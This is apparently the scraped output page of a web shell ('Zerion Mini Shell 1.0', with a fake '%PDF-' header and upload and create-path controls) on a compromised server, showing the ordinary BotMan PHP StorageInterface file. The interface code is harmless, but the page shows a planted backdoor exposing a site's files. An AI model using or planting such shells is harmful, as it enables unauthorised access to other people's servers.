%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/kma/vendor/botman/botman/src/Interfaces/
Upload File :
Create Path :
Current File : /home/ugotscom/kma/vendor/botman/botman/src/Interfaces/StorageInterface.php

<?php

namespace BotMan\BotMan\Interfaces;

use Illuminate\Support\Collection;

interface StorageInterface
{
    /**
     * Save an item in the storage with a specific key and data.
     *
     * @param  array $data
     * @param  string $key
     */
    public function save(array $data, $key);

    /**
     * Retrieve an item from the storage by key.
     *
     * @param  string $key
     * @return Collection
     */
    public function get($key);

    /**
     * Delete a stored item by its key.
     *
     * @param  string $key
     */
    public function delete($key);

    /**
     * Return all stored entries.
     *
     * @return array
     */
    public function all();
}

Zerion Mini Shell 1.0